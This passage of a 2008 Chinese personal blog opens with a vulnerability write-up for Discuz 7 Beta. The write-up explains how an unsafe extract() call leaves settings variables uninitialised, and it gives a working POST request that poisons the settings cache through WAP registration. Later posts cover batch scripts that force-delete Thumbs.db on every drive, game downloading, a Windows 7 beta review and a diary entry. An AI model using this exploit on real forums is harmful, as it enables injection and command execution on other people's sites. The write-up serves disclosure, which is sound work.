$cachelost = (@include DISCUZ_ROOT.'./forumdata/cache/cache_settings.php') ? '' : 'settings';
@extract($_DCACHE['settings']);

$styleid = intval(!empty($_GET['styleid']) ? $_GET['styleid'] :
(!empty($_POST['styleid']) ? $_POST['styleid'] :
(!empty($_DSESSION['styleid']) ? $_DSESSION['styleid'] :
$_DCACHE['settings']['styleid'])));

$styleid = intval(isset($stylejump[$styleid]) ? $styleid : $_DCACHE['settings']['styleid']);

if(@!include DISCUZ_ROOT.'./forumdata/cache/style_'.intval(!empty($forum['styleid']) ? $forum['styleid'] : $styleid).'.php') {
$cachelost .= (@include DISCUZ_ROOT.'./forumdata/cache/style_'.($styleid = $_DCACHE['settings']['styleid']).'.php') ? '' : ' style_'.$styleid;
}

这里用extract处理了$_DCACHE['settings'],但由于此时包含的forumdata/cache /cache_settings.php文件中仅仅存在$_DCACHE['settings']['totalmembers'] 和$_DCACHE['settings']['lastmember'],将导致大量的变量没有初始化,而此部分变量在整个程序中起到了重要作用,但现在我们可以随意提交这些变量,这将导致xss,sql注射,命令执行等众多严重的安全问题:)

另外要注意$styleid可能会导致重新更新缓存文件,可以提交stylejump[1]=1&styleid=1&inajax=1,这样就不会再次更新缓存,forumdata/cache/cache_settings.php里依然是我们wap注册时写入的数据:)

PS:WAP用户注册默认并不开启

二 利用

Poc:
POST http://127.0.0.1/dz/wap/index.php?action=register HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/dz/wap/index.php
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
Host: 127.0.0.1
Connection: close
Content-Length: 66

username=ryat&password=123456&email=ryat@ryat.com&_DCACHE=1

D:>type Discuz_7_Beta_SC_GBKuploadforumdatacachecache_settings.php
1,
'lastmember' => 'ryat',
);

?>

十一月 9th, 2008

Posted In: 未分类

办法之一:

禁止产生Thumbs.db文件的方法:

在“控制面板”中双击“文件夹选项”,在“文件夹选项”对话框中切换到“查看”标签,在在高级设置中将“不缓存缩略图”复选框前打上“√”,再点击“确定”按钮退出。

隐藏Thumbs.db文件的方法:

如果将“隐藏受保护的操作系统文件(推荐)”和“不显示隐藏的文件和文件夹”选择上,那么Thumbs.db文件你也就看不到了,但这只是隐藏了它而已,实质它还是存在的。

全盘删除Thumbs.db文件的方法:

将以下保存成bat批处理文件,然后执行即可。

@echo off

del c:\Thumbs.db /f/s/q/a

del d:\Thumbs.db /f/s/q/a

del e:\Thumbs.db /f/s/q/a

del f:\Thumbs.db /f/s/q/a

del g:\Thumbs.db /f/s/q/a

del h:\Thumbs.db /f/s/q/a

del i:\Thumbs.db /f/s/q/a

del j:\Thumbs.db /f/s/q/a

exit

另人头疼烦恼的Thumbs.db全部消失了,世界清净了。

办法之二:

Thumbs.db这个文件通常情况下是隐藏的,所以要显示隐藏文件才看得到。通常会在一个图片的文件夹里发现,他是用来缓存缩略图的数据的。但是有时因为这个文件夹的图片增减、变化的问题,他会越来越大。其实这个都不是主要原因,我之所以要删除全盘的Thumbs.db,是因为并不是每个图片的文件夹,我都想让他缩略图显示,但是改回不是缩略图显示,Thumbs.db并没有自动消失掉,而且网上所谓的不缓存缩略图,貌似也没有作用。

复制两条"————————-"之间的代码到记事本,不包括“————”,改后缀名为cmd双击运行。

—————————————————————

FOR %%a IN ( C: D: E: F: G: H: I: J: K: L: M: N: P: Q: R: S: T: U: V: W: X: Y: Z: ) DO DEL /f/s/q/a %%aThumbs.db

—————————————————————-

Chinadu` Blog Copyright © 2008

十一月 9th, 2008

Posted In: 未分类

红警三总算出了,哎~~~,下了一个星期总算下载到了自己的电脑,别的不说,那个文件大呀,没办法,谁让偶想尝尝鲜了,开始下载了12.9G的文件,结果还不能玩,要KEY呀,偶穷,没有,看了一些宣传的视频,然后重新又下载6.5G的,总算又一个星期下载完了,这下好了,测试了一下,感觉还可以,只不过风格改了太多,对机器的要求也高了很多,贴几张图纪念下


点击下载此文件

十一月 6th, 2008

Posted In: 未分类

用了近两年的vista,看到windows 7的测试版出来后,喜欢研究新系统的我在次开始了测试,得出一个结果,启动速度明显比vista要快很多,界面上有部分改进,但改进不大,运行速度来讲是快了很多,但装笔记本驱动可就是一件麻烦事,大部分的笔记本在写驱动都支持vista, 可当遇到windows 7的时候却出现了不能驱动或是无法安装的事情,这是一个让人头痛的,测试版是英文界面,虽然我选择了china的语言,可安装结束还是没有语言包,不过整体比vista小了不少,安装完成是10G左右,比vista 明显小了5G左右,希望正式版快点出来,也让偶尝尝鲜,呵

十一月 3rd, 2008

Posted In: 未分类

好久都没有在运动了,也是好久没有在写BLOG了,这段时间忙着做模板,哎~~~,今天总算闲下来,就和同事还有朋友一块去玩了一会球,才发现自己的体力下降的真快,不过还好,慢慢来,在过几天就可以恢复以前的体力了,看来一直坐着真不是一件好事,可工作就是这样,想闲下来也不是那么简单的事呀,这嘴吧天天还得吃东西,不工作那来的饭了,以后偶还是会常来写BLOG的,只是有时不知道该更新什么东西,还是写日记吧

十一月 1st, 2008

Posted In: 未分类

无觅相关文章插件,快速提升流量